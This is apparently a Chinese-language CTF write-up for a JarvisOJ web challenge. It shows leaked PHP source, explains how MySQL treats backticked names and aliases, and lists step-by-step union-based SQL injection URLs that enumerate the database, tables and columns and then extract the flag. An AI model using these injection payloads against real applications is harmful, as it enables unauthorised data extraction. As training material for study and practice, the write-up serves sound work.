原题:http://web.jarvisoj.com:32794/
给了一条提示先找到源码,几种常见的源码泄露方式都试一边。最后在提交 http://web.jarvisoj.com:32794/index.php~ 发现源码。
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
1.分析desc `secret_{$table}` 和select 'flag{xxx}' from secret_{$table} 存在注入
2.注入条件:①secret_{$table}可控注入,但是desc语句能运行成功
②查询的语句在select 'flag{xxx}' from secret_{$table}得到回显
3.根据后者查询的格式猜想用union构造:
flag union select 123
但是desc `flag union select 123`无法通过,想办法使后者成为表即可通过验证。
这里要注意:不是用的引号而是用的反引号,这是为什么呢?--!有猫腻
百度了一下反引号和引号的区别:
一、反引号反引号一般在Esc键的下方,和~在一起。它是为了区分MySQL的保留字与普通字符而引入的符号
create table desc 报错
create table `desc` 成功
一般我们建表时都会将表名,库名都加上反引号来保证语句的执行度。
二、引号
引号一般用于变量的应用,反引号用于字段引用
三、如果SQL语句中变量带有引号或者反引号时,可以用过如下输出
输出字符串aaa':select 'aaa'''; 或者select 'aaa\'' ; (在最后加两个引号表明字符串中又引号)
输出字符串'aaa: select '''aaa'; 或者select '\'aaa' ;
输出字符串a'aa:select 'a\'aa' ;
在本地MySql上实验了一下,发现:
desc `flag` `aaa`; 只要前者表存在,该语句是能执行的
desc 'flag' 'aaa'; 但是单引号却不能执行,这可能就是出题人要考察的吧
desc flag aaa; 显示效果同上,大概猜测反引号是来确定表的,而后边的字符串可能被识别成前表的别名,如同与如下语句
select * from user aaa join passwd where aaa.id = 1;
等同于
select * from `user` `aaa` join passwd where aaa.id = 1;
既然如此,,,,,,,嘿嘿,就简单了
构造desc `test` ` union select 123` 如果test表使存在的这个命令使可以执行的,相当于将表test重命名为后面的表名。最终的显示结果会只显示一条,可以用limit实现跳跃,最后的联合查询payload:
查库:http://web.jarvisoj.com:32794/?table=test`%20%20`union%20select%20database()%20limit%201,1
查表:
http://web.jarvisoj.com:32794/?table=test`%20%20`union%20select%20group_concat(table_name) from information_schema.tables where table_schema=database()%20limit%201,1
查字段:
http://web.jarvisoj.com:32794/?table=test`%20%20`union%20select column_name from information_schema.tables %20limit%201,1
注意:在这里卡了好久,原本是想利用查库名方式得语句来构造payload,结果在where table_name="secret_flag"时发现引号被waf,单引号一直不能通,干脆就不加where条件,打算用limit一条条查,幸好第一条就是藏flag得字段,,,(lll¬ω¬)
查值:
http://web.jarvisoj.com:32794/?table=test`%20%20`union%20select group_concat(flagUwillNeverKnow) from secret_flag %20limit%201,1
getflag:flag{luckyGame~}